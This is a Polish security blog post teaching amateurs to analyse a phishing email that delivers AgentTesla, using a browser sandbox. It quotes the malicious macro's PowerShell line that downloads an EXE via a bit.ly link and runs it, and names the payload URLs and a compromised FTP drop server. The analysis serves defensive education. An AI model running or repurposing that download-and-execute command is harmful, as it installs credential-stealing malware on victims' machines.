Analiza złośliwego kodu dla amatorów na świeżym przykładzie

dodał 14 stycznia 2020 o 10:34 w kategorii Złośniki  z tagami:
Analiza złośliwego kodu dla amatorów na świeżym przykładzie

Chcecie zobaczyć, jak radzimy sobie z analizą ataków, dysponując jedynie przeglądarką i kwadransem wolnego czasu? Pokażemy to na ciekawym przykładzie ataku z dzisiejszego poranka. Doświadczenie w analizie nie jest wymagane ;)

Czasem widzimy różne ataki i zastanawiamy się, czy są ciekawe (czyli warte opisania), czy też niekoniecznie. Wstępna analiza przebiegu ataku pozwala podjąć szybką decyzję, czy zawracać głowę prawdziwym analitykom malware’u. Oczywiście przedstawiona poniżej metoda obarczona jest sporymi błędami, ale to prawdopodobnie najlepsze, na co stać amatora z przeglądarką jako głównym narzędziem pracy.

Niepozorny e-mail

W nasze ręce trafił wczoraj rano e-mail, który na pierwszy rzut oka wyglądał dość niepozornie. Mieliśmy 3 identyczne kopie i przekonanie, że coś chyba jest nie tak.

Zrzut ekranu wiadomości

Nagłówki wiadomości przekonały nas, że coś jest na rzeczy.

Do: undisclosed-recipients:; 
Authentication-Results: server.linux80.papaki.gr; spf=pass (sender IP is ::1) smtp.mailfrom=sekretariat@ppuport.pl smtp.helo=webmail.apricotandsea.com
X-Sender: sekretariat@ppuport.pl
X-Ppp-Message-Id: 20200113082135.31371.26021@server.linux80.papaki.gr
Return-Path: sekretariat@ppuport.pl
X-Ppp-Vhost: apricotandsea.com
Received: from server.linux80.papaki.gr (server.linux80.papaki.gr [138.201.37.101]) by XXX (Postfix) with ESMTPS id 47x64d3QS0z1w7K for XXX@XXX.pl; Mon, 13 Jan 2020 09:21:37 +0100 (CET)
Received: from webmail.apricotandsea.com (localhost.localdomain [IPv6:::1]) by server.linux80.papaki.gr (Postfix) with ESMTPSA id 13E2A1A49E10; Mon, 13 Jan 2020 10:21:34 +0200 (EET)
f6283fe0d66176eac98a83372ac6d088@ppuport.pl
Received-Spf: pass (server.linux80.papaki.gr: connection is authenticated)

Wynika z nich, że choć adres rzekomego nadawcy jest w domenie PL, to serwery pośredniczące w wysyłce były w domenach COM i GR. Po co polska firma miałaby wysyłać wiadomości z greckiego serwera? Badamy dalej.

Cóż to za potwór w załączniku

Plik załącznika to prawdopodobnie kluczowy element pułapki. Nie będziemy go otwierać lokalnie, tylko od razu przekażemy ekspertom online. Wchodzimy zatem na stronę

https://app.any.run/

Wgrywamy plik na serwer i czekamy, co się stanie. A dzieje się całkiem sporo. Pod adresem

https://app.any.run/tasks/2ed4abe1-4021-4fe6-bea6-11f227e792b8/

możecie znaleźć wynik analizy. Ten serwis pozwala nawet obserwować, co dzieje się na ekranie komputera w trakcie uruchamiania załącznika. Widzimy zatem, że uruchomiony zostaje Word (w końcu to plik .DOC). W bocznym pasku po chwili widzimy przebieg wydarzeń.

Przebieg infekcji

Z raportu widzimy, że Word uruchomił Excela. Jak to możliwe? Dokument Worda miał osadzony fragment dokumentu Excela, MS Office pozwala na takie sztuczki (tak w ogóle to źródłowy dokument był plikiem RTF – można to na przykład sprawdzić, podglądając jego zawartość w edytorze heksadecymalnym). Z kolei Excel uruchomił PowerShella. Co stało się tutaj? W Excelu było makro w VBA, którego zadaniem było uruchomienie złośliwego skryptu. Po kliknięciu w moduł PowerShella widzimy, że uruchomione było polecenie

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bit.ly/2NmQqH7 ” , ”$ENv:teMp\1249.exe” ) ; stARt ”$ENv:tEMP\1249.exe”

Mamy zatem pobranie pliku przez serwis bit.ly, zapisanie go i uruchomienie. Przyjrzyjmy się najpierw linkowi bit.ly. Dodanie na jego końcu znaku „+” pozwala na poznanie statystyk ataku (pomaga też posiadanie konta na Bit.ly).

https://bitly.com/2NmQqH7+

Widzimy zatem 64 wejścia na link, z czego 5 prawdopodobnie z Polski. Widzimy też, że kampania z tym akurat linkiem ruszyła dzisiaj rano. Widzimy też link docelowy, z którego pobierany jest plik EXE:

https://u.teknik.io/0AJTD.txt

Co dzieje się dalej

W zakładce „CONNECTIONS” naszej automatycznej analizy widzimy najpierw połączenia do bit.ly, potem do teknik.io, a na końcu mamy niespodziankę – to połączenia do serwera FTP w polskiej domenie (ftp.brickhouse.pl) i polskiej serwerowni. Najwyraźniej przestępcy przejęli kontrolę nad kontem hostingowym polskiej firmy i zrobili tam sobie składzik wykradanych danych. Podgląd szczegółów tego połączenia pokazuje nam zrzut danych uwierzytelniających:

Dane uwierzytelniające do serwera przejętego przez przestępców

W zakładce”THREATS” widzimy, że mamy do czynienia ze złośliwym oprogramowaniem AgentTesla, więc możemy być prawie pewni, że na serwerze FTP lądują pliki z wykradzionymi z przeglądarek ofiar zapisanymi hasłami do używanych przez nich serwisów online.

Ciąg dalszy analizy

Na tym etapie wiemy już wystarczająco dużo, by powiadomić zespół CERT Polska o incydencie i liczyć na to, że skontaktują się z serwerownią i/lub jej klientem i zablokują dostęp do serwera FTP, uniemożliwiając lub znacząco utrudniając dalszy przebieg przestępstwa. Z publikacją artykułu czekaliśmy, aż dostęp do serwera zostanie odcięty, jednak wygląda na to, że ani firma posiadająca serwer, ani serwerownia, w której się znajduje, do tej pory nie uznały za stosowane zareagować. Może ten artykuł je do tego zachęci.

Mając więcej czasu, możemy zabrać się za poszukiwanie informacji o infrastrukturze przestępców i ewentualnych skojarzonych atakach. To ćwiczenie zostawimy już w rękach Czytelników – a proponujemy zacząć od serwisów takich jak VirusTotal i PassiveTotal oraz wskazanych wyżej domen i adresów IP. Może na coś natraficie :)

Od strony technicznej przebieg ataku po uruchomieniu pliku EXE dobrze pokazuje analiza innego automatu, VMRay. Pobrany plik

https://u.teknik.io/uEs1w.bin

jest dekompresowany i wstrzykiwany do innego procesu, dzięki czemu nawet przez chwilę nie jest zapisywany na dysku ofiary.

PS. Jeśli podoba się wam taki prosty wstęp do amatorskiej analizy malware’u w przeglądarce, to dajcie znać – będziemy pisać więcej na ten temat.